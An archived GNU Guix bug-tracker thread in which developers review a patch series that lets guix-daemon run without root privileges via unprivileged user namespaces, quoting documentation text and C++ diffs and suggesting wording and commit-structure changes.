To: Simon Tournier <zimon.toutoune@HIDDEN>
Subject: Re: [bug#75810] [PATCH v4 06/14] daemon: Allow running as non-root
 with unprivileged user namespaces.
In-Reply-To: <87senyggjy.fsf@HIDDEN> (Simon Tournier's message of "Fri, 28
 Feb 2025 17:49:53 +0100")
References: <cover.1740752774.git.ludo@HIDDEN>
 <10c042b5dfa44688c5e4aa0e72bd4f7d1ebf6eb5.1740752774.git.ludo@HIDDEN>
 <87senyggjy.fsf@HIDDEN>
X-URL: http://www.fdn.fr/~lcourtes/
X-Revolutionary-Date: Tridi 13 =?utf-8?Q?Vent=C3=B4se?= an 233 de la
 =?utf-8?Q?R=C3=A9volution=2C?= jour de la Fumeterre
X-PGP-Key-ID: 0x090B11993D9AEBB5
X-PGP-Key: http://www.fdn.fr/~lcourtes/ludovic.asc
X-PGP-Fingerprint: 3CE4 6455 8A84 FDC6 9DB4  0CFB 090B 1199 3D9A EBB5
X-OS: x86_64-pc-linux-gnu
Date: Mon, 03 Mar 2025 18:16:18 +0100
Message-ID: <87zfi2dogt.fsf@HIDDEN>
User-Agent: Gnus/5.13 (Gnus v5.13)
MIME-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: quoted-printable
X-Spam-Score: -2.3 (--)
X-Debbugs-Envelope-To: 75810
Cc: Josselin Poiret <dev@HIDDEN>,
 Maxim Cournoyer <maxim.cournoyer@HIDDEN>,
 Mathieu Othacehe <othacehe@HIDDEN>, Tobias Geerinckx-Rice <me@HIDDEN>,
 Christopher Baines <guix@HIDDEN>, 75810 <at> debbugs.gnu.org
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: -3.3 (---)

Hi,

Simon Tournier <zimon.toutoune@HIDDEN> skribis:

>> +There are currently two ways to set up and run the build daemon:
>> +
>> +@enumerate
>> +@item
>> +running @command{guix-daemon} as ``root'', letting it run build
>> +processes as unprivileged users taken from a pool of build users---this
>> +is the historical approach;
>> +
>> +@item
>> +running @command{guix-daemon} as a separate unprivileged user, relying
>> +on Linux's @dfn{unprivileged user namespace} functionality to set up
>> +isolated environments---this option only appeared recently.
>> +@end enumerate
>> +
>> +The sections below describe each of these two configurations in more
>> +detail and summarize the kind of build isolation they provide.
>
> The paragraph above could give the impression that there is a choice
> between two options =E2=80=93 well it was my understand when reading.  On
> foreign distro, there is no option, IIUC.

The installation script chooses one of these two options for you, but
the choice is still available.  Since this section talks about
guix-daemon in general, I thought we should maintain that generality
here, but you=E2=80=99re probably right that it should stress that the
installation script and Guix System config make choices.  I=E2=80=99ll chan=
ge
that in the next revision.

>> +@unnumberedsubsubsec Daemon Running Without Privileges
>> +
>> +@cindex rootless build daemon
>> +@cindex unprivileged build daemon
>> +@cindex build daemon, unprivileged
>> +The second option, which is new, is to run @command{guix-daemon}
>
> I would remove =E2=80=9Cwhich is new=E2=80=9D.

Or =E2=80=9Cmore recent=E2=80=9D maybe?  The idea was to clarify why there =
are two
options at all.

>>                                                              The
>> +installation script automatically determines whether this option is
>> +available on your system (@pxref{Binary Installation}).
>
> I would write: When using the installation script, it automatically
> determines whether =E2=80=A6

Hmm I think that would be grammatically incorrect.

Thanks for your feedback!

Ludo=E2=80=99.




Information forwarded to guix-patches@HIDDEN:
bug#75810; Package guix-patches. Full text available.

Message received at 75810 <at> debbugs.gnu.org:


Received: (at 75810) by debbugs.gnu.org; 2 Mar 2025 06:09:29 +0000
From debbugs-submit-bounces <at> debbugs.gnu.org Sun Mar 02 01:09:29 2025
Received: from localhost ([127.0.0.1]:51210 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1tocW0-0000Xe-Jf
	for submit <at> debbugs.gnu.org; Sun, 02 Mar 2025 01:09:29 -0500
Received: from mail-pl1-x635.google.com ([2607:f8b0:4864:20::635]:52429)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_128_GCM_SHA256:128)
 (Exim 4.84_2) (envelope-from <maxim.cournoyer@HIDDEN>)
 id 1tocVw-0000WW-Kn
 for 75810 <at> debbugs.gnu.org; Sun, 02 Mar 2025 01:09:26 -0500
Received: by mail-pl1-x635.google.com with SMTP id
 d9443c01a7336-22349bb8605so66930145ad.0
 for <75810 <at> debbugs.gnu.org>; Sat, 01 Mar 2025 22:09:24 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=gmail.com; s=20230601; t=1740895758; x=1741500558; darn=debbugs.gnu.org;
 h=content-transfer-encoding:mime-version:user-agent:message-id:date
 :references:in-reply-to:subject:cc:to:from:from:to:cc:subject:date
 :message-id:reply-to;
 bh=FlVaNutW3R0qPrMeQhcskKRiiP9Hnl2GXZVjTUdDRTY=;
 b=S3i7wMx8KBW6Tqajecj4gMEoG4/BYFERkULdea0r4UI048f63L2QxNlS2v4Wz+vt8g
 GLk3tChch0H+SAUwHtmYp4flOFqNgPuz98dsidX/sOQaAKllK6tQEAUPRWfVpLdhJrDd
 MD2aHBOB7SnT7ghfUMK0kfmqldGiFHcpHIDjhXUZauN2Gn9CYyE6ruJyzNCZE28qCduR
 gyQ2pv7XkvlWwSFMhfpNQXnEraVUCgd8+fHIMaHGJlYG41bn0y206bnRK4T7yWnXDUc/
 TmKH5Pmdb2o/qtINAHKSadhTAJGdmH7FOzjDzWyx0FqdIZSG6jSe/kYCW8eOOhZAu+81
 KCKg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=1e100.net; s=20230601; t=1740895758; x=1741500558;
 h=content-transfer-encoding:mime-version:user-agent:message-id:date
 :references:in-reply-to:subject:cc:to:from:x-gm-message-state:from
 :to:cc:subject:date:message-id:reply-to;
 bh=FlVaNutW3R0qPrMeQhcskKRiiP9Hnl2GXZVjTUdDRTY=;
 b=mPpcsNa6/UELxI1N49diNnwiF5u8CFokmJIZKiyLxyhHyTH3dqnugtTEvacclWoGg6
 qRso0Y7USNrnjgYC0A1RTQXxPpYbjMvM6lJRXdRiqDCnMWwTmlLwfAteixvkujzS+EcB
 GoDf72GJR/+NA8LKsBrHosvrY7FDPVgAXiT9RfkB7TeCMP+xpHFSgmaQKyixNicOJQS2
 KuCvE0gSXpBM5oFI+sbO0egobvyDvXwk1B1vBiKgmeONJn4zEzUCrVUnTkTtYm4QDJ3R
 XsngsjmNFKPALYQh9r4DDW4QILXJm7bC/jvI4dBPFPsXHinO3x8dcVnUGtImJOcFKmRv
 AGSQ==
X-Gm-Message-State: AOJu0Yz2FJRbmnYOtduYPIx8UBu88tOSYN+ccPZY1PUya08jfhRqjdDW
 vZFjh54Ceel4eJYfgfbkEIt4l/z6iDe+gIhk+a3znj5WJeBRfPY4
X-Gm-Gg: ASbGnctXny5U69umZYPgMtLUgGrFwzkzex0WkUjSEGTTy+GFpP1/XPsr9n3IWRABDEx
 0/PBrMEQBMYm9PfQsrT5vhw1Hdg1FBSgnz1PIqNmIvdZ4uoY2jIfJhNcfKTjHULgmfRNmnOb0fo
 sU19Jedy/u+ewCEzTR+iMZXSycKXhLUqnYoXTsD9G4f4+fYceEd9NUB8iILYSDH+lKdCEhsvttG
 gEM5xmR+6ZZ7r7ssHVMOUTLpLJtVZvO5cJEENoxRjwUjMY17RDNMsWsaEEg7UJRjHbOjfDmzAjX
 Cfv89Jw0C0cmWioVJGbYQlf7EvrfdKCv6YJ8KMIGEfk=
X-Google-Smtp-Source: AGHT+IH7N2rFDY1qdmg2M0MqzwQKQAKrQzrXA6pdjbNK9mWuzkasu9ZWO1TNGG4Mr11/4QmBv8fq9g==
X-Received: by 2002:a17:902:e54e:b0:215:8809:b3b7 with SMTP id
 d9443c01a7336-22368f61b12mr130847715ad.7.1740895758287; 
 Sat, 01 Mar 2025 22:09:18 -0800 (PST)
Received: from terra ([2405:6586:be0:0:83c8:d31d:2cec:f542])
 by smtp.gmail.com with ESMTPSA id
 d9443c01a7336-223504dc6desm56776805ad.168.2025.03.01.22.09.15
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Sat, 01 Mar 2025 22:09:17 -0800 (PST)
From: Maxim Cournoyer <maxim.cournoyer@HIDDEN>
To: Ludovic =?utf-8?Q?Court=C3=A8s?= <ludo@HIDDEN>
Subject: Re: [bug#75810] [PATCH v4 06/14] daemon: Allow running as non-root
 with unprivileged user namespaces.
In-Reply-To: <10c042b5dfa44688c5e4aa0e72bd4f7d1ebf6eb5.1740752774.git.ludo@HIDDEN>
 ("Ludovic =?utf-8?Q?Court=C3=A8s=22's?= message of "Fri, 28 Feb 2025
 15:29:25 +0100")
References: <cover.1740752774.git.ludo@HIDDEN>
 <10c042b5dfa44688c5e4aa0e72bd4f7d1ebf6eb5.1740752774.git.ludo@HIDDEN>
Date: Sun, 02 Mar 2025 15:09:05 +0900
Message-ID: <87senwezge.fsf@HIDDEN>
User-Agent: Gnus/5.13 (Gnus v5.13)
MIME-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: quoted-printable
X-Spam-Score: 0.0 (/)
X-Debbugs-Envelope-To: 75810
Cc: Josselin Poiret <dev@HIDDEN>,
 Simon Tournier <zimon.toutoune@HIDDEN>, Mathieu Othacehe <othacehe@HIDDEN>,
 Tobias Geerinckx-Rice <me@HIDDEN>,
 Ludovic =?utf-8?Q?Court=C3=A8s?= <ludovic.courtes@HIDDEN>,
 Christopher Baines <guix@HIDDEN>, 75810 <at> debbugs.gnu.org
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: -1.0 (-)

Hi Ludo,

Ludovic Court=C3=A8s <ludo@HIDDEN> writes:

> From: Ludovic Court=C3=A8s <ludovic.courtes@HIDDEN>
>
> * nix/libstore/build.cc (guestUID, guestGID): New variables.
> (DerivationGoal)[readiness]: New field.
> (initializeUserNamespace): New function.
> (DerivationGoal::runChild): When =E2=80=98readiness.readSide=E2=80=99 is =
positive, read
> from it.
> (DerivationGoal::startBuilder): Call =E2=80=98chown=E2=80=99
> only when =E2=80=98buildUser.enabled()=E2=80=99 is true.  Pass CLONE_NEWU=
SER to =E2=80=98clone=E2=80=99
> when =E2=80=98buildUser.enabled()=E2=80=99 is false or not running as roo=
t.  Retry
> =E2=80=98clone=E2=80=99 without CLONE_NEWUSER upon EPERM.
> (DerivationGoal::registerOutputs): Make =E2=80=98actualPath=E2=80=99 writ=
able before
> =E2=80=98rename=E2=80=99.
> (DerivationGoal::deleteTmpDir): Catch =E2=80=98SysError=E2=80=99 around =
=E2=80=98_chown=E2=80=99 call.
> * nix/libstore/local-store.cc (LocalStore::createUser): Do nothing if
> =E2=80=98dirs=E2=80=99 already exists.  Warn instead of failing when fail=
ing to chown
> =E2=80=98dir=E2=80=99.
> * guix/substitutes.scm (%narinfo-cache-directory): Check for
> =E2=80=98_NIX_OPTIONS=E2=80=99 rather than getuid() =3D=3D 0 to determine=
 the cache
> location.
> * doc/guix.texi (Build Environment Setup): Reorganize a bit.  Add
> section headings =E2=80=9CDaemon Running as Root=E2=80=9D and =E2=80=9CTh=
e Isolated Build
> Environment=E2=80=9D.  Add =E2=80=9CDaemon Running Without Privileges=E2=
=80=9D subsection.
> Remove paragraph about =E2=80=98--disable-chroot=E2=80=99.
> (Invoking guix-daemon): Warn against =E2=80=98--disable-chroot=E2=80=99 a=
nd explain why.

That's a nice improvement!

[...]

> +There are currently two ways to set up and run the build daemon:
> +
> +@enumerate
> +@item
> +running @command{guix-daemon} as ``root'', letting it run build
> +processes as unprivileged users taken from a pool of build users---this
> +is the historical approach;
> +
> +@item
> +running @command{guix-daemon} as a separate unprivileged user, relying
> +on Linux's @dfn{unprivileged user namespace} functionality to set up
> +isolated environments---this option only appeared recently.
> +@end enumerate

Similarly to what Simon pointed in their comments, I'd drop time-related
'recently' wording, as it won't age well, and is already made obvious by
the above being mentioned as the 'historical' approach.

> +
> +The sections below describe each of these two configurations in more
> +detail and summarize the kind of build isolation they provide.
> +
> +@unnumberedsubsubsec Daemon Running as Root
>=20=20
>  @cindex build users
>  When @command{guix-daemon} runs as @code{root}, you may not want package
>  build processes themselves to run as @code{root} too, for obvious
>  security reasons.  To avoid that, a special pool of @dfn{build users}
>  should be created for use by build processes started by the daemon.
> -These build users need not have a shell and a home directory: they will
> -just be used when the daemon drops @code{root} privileges in build
> -processes.  Having several such users allows the daemon to launch
> +Having several such users allows the daemon to launch
>  distinct build processes under separate UIDs, which guarantees that they
>  do not interfere with each other---an essential feature since builds are
>  regarded as pure functions (@pxref{Introduction}).
> @@ -977,11 +994,45 @@ Build Environment Setup
>  # guix-daemon --build-users-group=3Dguixbuild
>  @end example
>=20=20
> +In this setup, @file{/gnu/store} is owned by @code{root}.
> +
> +@unnumberedsubsubsec Daemon Running Without Privileges
> +
> +@cindex rootless build daemon
> +@cindex unprivileged build daemon
> +@cindex build daemon, unprivileged
> +The second option, which is new, is to run @command{guix-daemon}

s/, which is new,// as Simon pointed.

[...]

>  void DerivationGoal::startBuilder()
>  {
>      auto f =3D format(
> @@ -1682,7 +1705,7 @@ void DerivationGoal::startBuilder()
>  	   then an attacker could create in it a hardlink to a root-owned file
>  	   such as /etc/shadow.  If 'keepFailed' is true, the daemon would
>  	   then chown that hardlink to the user, giving them write access to
> -	   that file.  */
> +	   that file.  See CVE-2021-27851.  */
>  	tmpDir +=3D "/top";
>  	if (mkdir(tmpDir.c_str(), 0700) =3D=3D 1)
>  	    throw SysError("creating top-level build directory");
> @@ -1799,7 +1822,7 @@ void DerivationGoal::startBuilder()
>          if (mkdir(chrootRootDir.c_str(), 0750) =3D=3D -1)
>              throw SysError(format("cannot create =E2=80=98%1%=E2=80=99")=
 % chrootRootDir);
>=20=20
> -        if (chown(chrootRootDir.c_str(), 0, buildUser.getGID()) =3D=3D -=
1)
> +        if (buildUser.enabled() && chown(chrootRootDir.c_str(), 0, build=
User.getGID()) =3D=3D -1)
>              throw SysError(format("cannot change ownership of =E2=80=98%=
1%=E2=80=99") % chrootRootDir);
>=20=20
>          /* Create a writable /tmp in the chroot.  Many builders need
> @@ -1818,8 +1841,8 @@ void DerivationGoal::startBuilder()
>              (format(
>                  "nixbld:x:%1%:%2%:Nix build user:/:/noshell\n"
>                  "nobody:x:65534:65534:Nobody:/:/noshell\n")
> -                % (buildUser.enabled() ? buildUser.getUID() : getuid())
> -                % (buildUser.enabled() ? buildUser.getGID() : getgid()))=
.str());
> +                % (buildUser.enabled() ? buildUser.getUID() : guestUID)
> +                % (buildUser.enabled() ? buildUser.getGID() : guestGID))=
.str());
>=20=20
>          /* Declare the build user's group so that programs get a consist=
ent
>             view of the system (e.g., "id -gn"). */
> @@ -1854,7 +1877,7 @@ void DerivationGoal::startBuilder()
>          createDirs(chrootStoreDir);
>          chmod_(chrootStoreDir, 01775);
>=20=20
> -        if (chown(chrootStoreDir.c_str(), 0, buildUser.getGID()) =3D=3D =
-1)
> +        if (buildUser.enabled() && chown(chrootStoreDir.c_str(), 0, buil=
dUser.getGID()) =3D=3D -1)
>              throw SysError(format("cannot change ownership of =E2=80=98%=
1%=E2=80=99") % chrootStoreDir);

I think adding the new check for buildUser.enabled() in the above ifs
should be split into a distinct commit since it's not relevant to this
specific new feature.

[...]

>  #if CHROOT_ENABLED
>          if (useChroot) {
> -            /* Initialise the loopback interface. */
> -            AutoCloseFD fd(socket(PF_INET, SOCK_DGRAM, IPPROTO_IP));
> -            if (fd =3D=3D -1) throw SysError("cannot open IP socket");
> +	    if (!fixedOutput) {
> +		/* Initialise the loopback interface. */
> +		AutoCloseFD fd(socket(PF_INET, SOCK_DGRAM, IPPROTO_IP));
> +		if (fd =3D=3D -1) throw SysError("cannot open IP socket");
>=20=20
> -            struct ifreq ifr;
> -            strcpy(ifr.ifr_name, "lo");
> -            ifr.ifr_flags =3D IFF_UP | IFF_LOOPBACK | IFF_RUNNING;
> -            if (ioctl(fd, SIOCSIFFLAGS, &ifr) =3D=3D -1)
> -                throw SysError("cannot set loopback interface flags");
> +		struct ifreq ifr;
> +		strcpy(ifr.ifr_name, "lo");
> +		ifr.ifr_flags =3D IFF_UP | IFF_LOOPBACK | IFF_RUNNING;
> +		if (ioctl(fd, SIOCSIFFLAGS, &ifr) =3D=3D -1)
> +		    throw SysError("cannot set loopback interface flags");
>=20=20
> -            fd.close();
> +		fd.close();
> +	    }

That hunk above is also orthogonal to this feature AFAICS, should be
split into a different commit to keep its diff focused.

The rest LGTM.  C++ is not that hard to parse after all; it seems the
daemon is written in a style close to that of C.

Reviewed-by: Maxim Cournoyer <maxim.cournoyer@gmail>

--=20
Thanks,
Maxim




Information forwarded to guix-patches@HIDDEN:
bug#75810; Package guix-patches. Full text available.

Message received at 75810 <at> debbugs.gnu.org:


Received: (at 75810) by debbugs.gnu.org; 1 Mar 2025 13:53:26 +0000
From debbugs-submit-bounces <at> debbugs.gnu.org Sat Mar 01 08:53:26 2025
Received: from localhost ([127.0.0.1]:35842 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1toNHR-000204-96
	for submit <at> debbugs.gnu.org; Sat, 01 Mar 2025 08:53:26 -0500
Received: from mailout.russelstein.xyz ([2605:6400:20:11e::1]:33662)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <reepca@HIDDEN>)
 id 1toNHN-0001zK-R2
 for 75810 <at> debbugs.gnu.org; Sat, 01 Mar 2025 08:53:23 -0500
DKIM-Signature: v=1; a=ed25519-sha256; q=dns/txt; c=relaxed/relaxed;
 d=russelstein.xyz; s=ed25519; h=Content-Type:MIME-Version:Message-ID:Date:
 References:In-Reply-To:Subject:Cc:To:From:Sender:Reply-To:
 Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
 Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
 List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
 bh=MJeSS+RrKigy1SFtox81x+j03k0jEgI15PJBnwY9dj8=; b=q3hlw4BUo/Shu9TILYdWcjOPvw
 tCqZJMMi24ONJih07lOEnNoyIOStUUhuQw7glk9BfpY9miwKt4mU3UYlcHAQ==;
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
 d=russelstein.xyz; s=rsa; h=Content-Type:MIME-Version:Message-ID:Date:
 References:In-Reply-To:Subject:Cc:To:From:Sender:Reply-To:
 Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
 Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
 List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
 bh=MJeSS+RrKigy1SFtox81x+j03k0jEgI15PJBnwY9dj8=; b=M4DlmGluDxmhyf3RVGaM+FaKd/
 d4PT1K7Lb68B+0ypAfGBvS5hwgYayN60wJkIQlEjtXAknG93BVFQPvBvnsLEBrJX0rA4jfq7rLmt0
 YsH9EFZIqbXqiPJFLtkElRBPmbAxka98U2nWdwQEbwYVVXx6EyJdSuzNoTP7YCC3d6h6dqYcyIEWK
 xGZtuOaVC3NOpg8TyMx4Gaf555u6spyJlXBtgKuQUVpFwFEFhxezAvRT0oAJ25qOjgc8itQ0NwQJ6
 XVHUvCwo2hjmoqo7P0huDmCzDeHr8auih5VD0YHfZKE8fvkQp/RC5QXZKh0LmXSX5NW3Upnmlnnj1
 LD7dwMJsbcxAF1PF8+3zEJgHutF/skm/2BDljeGqxPPEfq7a59GiS9aFk0d+WBYtgdvTXLPWqEIix
 ZnnpVGSr9Zb9aKEYqV2x0/ab5k7yz+hlnr3lBkWsx4t2BNxtDutSKmENOKdF/8920ZcjfqQHS2SI1
 0JRYgvJiAbuau3Ugs/6YXlr+lcL2Xx7W71rITJMuFc1sp+y6hSGfGUpYnIqnP9fbqd3mGHUBU6W5G
 X44gjKtQal1xNMtXez1ZFr+by2PMudQiALl/wHLgn1urks/DrGgreAZJkCoSfYj1E3KBhl83FxueP
 zFBWsdIt75/9ixOOcJ6OaoGjHKCQDbMT7V2jvc85k=;
Received: by russelstein.xyz with esmtpsa
 (TLS1.3:ECDHE_SECP256R1__RSA_PSS_RSAE_SHA256__AES_256_GCM:256)
 (Exim 4.98) (envelope-from <reepca@HIDDEN>)
 id 1toNHH-0000000070e-2fQq; Sat, 01 Mar 2025 07:53:17 -0600
From: Reepca Russelstein <reepca@HIDDEN>
To: Ludovic =?utf-8?Q?Court=C3=A8s?= <ludo@HIDDEN>
Subject: Re: [PATCH v4 00/14] Rootless guix-daemon
In-Reply-To: <cover.1740752774.git.ludo@HIDDEN> ("Ludovic =?utf-8?Q?Court?=
 =?utf-8?Q?=C3=A8s=22's?= message
 of "Fri, 28 Feb 2025 15:29:19 +0100")
References: <cover.1740752774.git.ludo@HIDDEN>
Date: Sat, 01 Mar 2025 07:52:40 -0600
Message-ID: <8734fw7t93.fsf@HIDDEN>
User-Agent: Gnus/5.13 (Gnus v5.13)
MIME-Version: 1.0
Content-Type: multipart/signed; boundary="=-=-=";
 micalg=pgp-sha256; protocol="application/pgp-signature"
X-Spam-Score: 0.5
X-Spam-Bar: /
X-Spam-Score-Int: 5
X-Spam-Report: Spam detection software, running on the system "Sanctum",
 has NOT identified this incoming email as spam.  The original
 message has been attached to this so you can view it or label
 similar future email.  If you have any questions, see
 the administrator of that system for details.
 
 Content preview:  Ludovic Courtès <ludo@HIDDEN> writes: > Hello Guix! > >
   Changes in v4, hopefully the last revision of this patch set: > > • For
   ‘deleteTmpDir’, go back to v2, but add ‘secureFilePerms’ call and
   > define ‘reown’ variable to d [...] 
 
 Content analysis details:   (0.5 points, 5.0 required)
 
  pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.0 NO_RELAYS              Informational: message was not relayed via SMTP
  0.5 FROM_SUSPICIOUS_NTLD   From abused NTLD
X-Spam-Score: 1.3 (+)
X-Spam-Report: Spam detection software, running on the system "debbugs.gnu.org",
 has NOT identified this incoming email as spam.  The original
 message has been attached to this so you can view it or label
 similar future email.  If you have any questions, see
 the administrator of that system for details.
 
 Content preview:  Ludovic Courtès <ludo@HIDDEN> writes: > Hello Guix! > >
   Changes in v4, hopefully the last revision of this patch set: > > • For
   ‘deleteTmpDir’, go back to v2, but add ‘secureFilePerms’ call and
   > define ‘reown’ variable to d [...] 
 
 Content analysis details:   (1.3 points, 10.0 required)
 
  pts rule name              description
 ---- ---------------------- --------------------------------------------------
  0.8 PDS_OTHER_BAD_TLD      Untrustworthy TLDs
                             [URI: russelstein.xyz (xyz)]
 -0.0 SPF_PASS               SPF: sender matches SPF record
  0.0 SPF_HELO_NONE          SPF: HELO does not publish an SPF Record
  0.5 FROM_SUSPICIOUS_NTLD   From abused NTLD
X-Debbugs-Envelope-To: 75810
Cc: 75810 <at> debbugs.gnu.org
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: 1.3 (+)
X-Spam-Report: Spam detection software, running on the system "debbugs.gnu.org",
 has NOT identified this incoming email as spam.  The original
 message has been attached to this so you can view it or label
 similar future email.  If you have any questions, see
 the administrator of that system for details.
 
 Content preview:  Ludovic Courtès <ludo@HIDDEN> writes: > Hello Guix! > >
   Changes in v4, hopefully the last revision of this patch set: > > • For
   ‘deleteTmpDir’, go back to v2, but add ‘secureFilePerms’ call and
   > define ‘reown’ variable to d [...] 
 
 Content analysis details:   (1.3 points, 10.0 required)
 
  pts rule name              description
 ---- ---------------------- --------------------------------------------------
  0.8 PDS_OTHER_BAD_TLD      Untrustworthy TLDs
                             [URI: russelstein.xyz (xyz)]
 -0.0 SPF_PASS               SPF: sender matches SPF record
  0.0 SPF_HELO_NONE          SPF: HELO does not publish an SPF Record
  1.0 BULK_RE_SUSP_NTLD      Precedence bulk and RE: from a suspicious TLD
  0.5 FROM_SUSPICIOUS_NTLD   From abused NTLD
 -1.0 MAILING_LIST_MULTI     Multiple indicators imply a widely-seen list
                             manager

--=-=-=
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: quoted-printable

Ludovic Court=C3=A8s <ludo@HIDDEN> writes:

> Hello Guix!
>
> Changes in v4, hopefully the last revision of this patch set:
>
>   =E2=80=A2 For =E2=80=98deleteTmpDir=E2=80=99, go back to v2, but add =
=E2=80=98secureFilePerms=E2=80=99 call and
>     define =E2=80=98reown=E2=80=99 variable to determine whether to re-ch=
own after pivoting
>     (suggested by Reepca).

After re-reading the v4 patch for this I've noticed one minor nitpick:
since it's technically possible (though unlikely) to both have CAP_CHOWN
and have (top =3D=3D tmpdir), for example if --disable-chroot is given, it
is possible that it will unnecessarily chown tmpDir and then never
re-chown it back.

The diff in question, for clarity:

> @@ -2736,8 +2798,32 @@ void DerivationGoal::deleteTmpDir(bool force)
>              // Change the ownership if clientUid is set. Never change the
>              // ownership or the group to "root" for security reasons.
>              if (settings.clientUid !=3D (uid_t) -1 && settings.clientUid=
 !=3D 0) {
> -                _chown(tmpDir, settings.clientUid,
> -                       settings.clientGid !=3D 0 ? settings.clientGid : =
-1);
> +		uid_t uid =3D settings.clientUid;
> +		gid_t gid =3D settings.clientGid !=3D 0 ? settings.clientGid : -1;
> +		bool reown =3D false;
> +
> +		/* First remove setuid/setgid bits.  */
> +		secureFilePerms(tmpDir);
> +
> +		try {
> +		    _chown(tmpDir, uid, gid);
> +
> +		    if (getuid() !=3D 0) {
> +			/* If, without being root, the '_chown' call above
> +			   succeeded, then it means we have CAP_CHOWN.  Retake
> +			   ownership of tmpDir itself so it can be renamed
> +			   below.  */
> +			chown(tmpDir.c_str(), getuid(), getgid());
> +			reown =3D true;
> +		    }
> +
> +		} catch (SysError & e) {
> +		    /* When running as an unprivileged user and without
> +		       CAP_CHOWN, we cannot chown the build tree.  Print a
> +		       message and keep going.  */
> +		    printMsg(lvlInfo, format("cannot change ownership of build directo=
ry '%1%': %2%")
> +			     % tmpDir % strerror(e.errNo));
> +		}
>=20=20
>  		if (top !=3D tmpDir) {
>  		    // Rename tmpDir to its parent, with an intermediate step.
> @@ -2746,6 +2832,11 @@ void DerivationGoal::deleteTmpDir(bool force)
>  			throw SysError("pivoting failed build tree");
>  		    if (rename((pivot + "/top").c_str(), top.c_str()) =3D=3D -1)
>  			throw SysError("renaming failed build tree");
> +
> +		    if (reown)
> +			/* Running unprivileged but with CAP_CHOWN.  */
> +			chown(top.c_str(), uid, gid);
> +
>  		    rmdir(pivot.c_str());
>  		}
>              }

This can be remedied by moving

chown(tmpDir.c_str(), getuid(), getgid());

to inside the

if (top !=3D tmpDir)

block, and adding a test for 'reown', like so:

if (top !=3D tmpDir) {
    if (reown) chown(tmpDir.c_str(), getuid(), getgid());
    // Rename tmpDir to its parent, with an intermediate step.
    ...
}

The extra symmetry should also make this section a bit clearer overall.


> The tests try to MS_REMOUNT the inputs, which is exactly what we want to
> prevent; we could test the low-level semantics you describe, but it=E2=80=
=99s
> quite obscure and maybe unnecessary given that we test MS_REMOUNT?

My concern is that it may be possible, now or in the future, for the
builder to gain the necessary capability within its user
namespace... somehow.  This concern comes from reading the
capabilities(7) manual page, where it says:

   Per-user-namespace "set-user-ID-root" programs
